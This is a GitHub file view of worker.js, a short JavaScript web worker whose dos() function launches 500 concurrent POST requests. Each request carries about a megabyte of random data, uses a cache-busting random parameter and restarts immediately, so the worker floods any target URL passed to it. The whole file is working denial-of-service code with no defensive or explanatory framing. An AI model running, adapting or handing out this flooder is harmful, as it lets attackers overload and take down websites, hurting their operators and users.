-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathworker.js
More file actions
57 lines (55 loc) · 1.58 KB
/
worker.js
File metadata and controls
57 lines (55 loc) · 1.58 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
var base = "";
function randomString(length) {
//Adapted slightly from http://www.xinotes.org/notes/note/515/
//By James
var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXTZabcdefghiklmnopqrstuvwxyz'.split('');
var str = '';
for (var i = 0; i < length; i++) {
str += chars[Math.floor(Math.random() * chars.length)];
}
return str;
}
var post_data = randomString(4)+"="+randomString(1048576);
var gparam = randomString(4);
function makeURL(){
//makes a request URL with random base, so answer can't be cached
var date = new Date();
if(base.indexOf("?")==-1){
return base+"?"+gparam+"="+Math.floor(Math.random()*10000000000);
} else {
return base+"?"+gparam+"="+Math.floor(Math.random()*10000000000);
}
}
function infoReceived(xmlhttp)
{
//Start new request if connection completes
if (xmlhttp.readyState==4){
setTimeout('makeRequest();',1);
}
}
function err(e){
//make sure we start a new request on error -> Firefox needs this
setTimeout('makeRequest();',1);
}
function makeRequest()
{
//make a new URL and request it via POST
var fullUrl = makeURL();
var httpRequest = new XMLHttpRequest();
httpRequest.open("POST", fullUrl, true);
httpRequest.setRequestHeader("Content-Type","text/plain; charset=utf-8");
httpRequest.onreadystatechange = infoReceived;
httpRequest.onerror = err;
httpRequest.send(post_data);
}
function dos() {
//start the initial 500 requests
var i = 0;
for(i=0;i<500;i++){
makeRequest();
}
}
self.onmessage = function(e) {
base = e.data;
dos();
}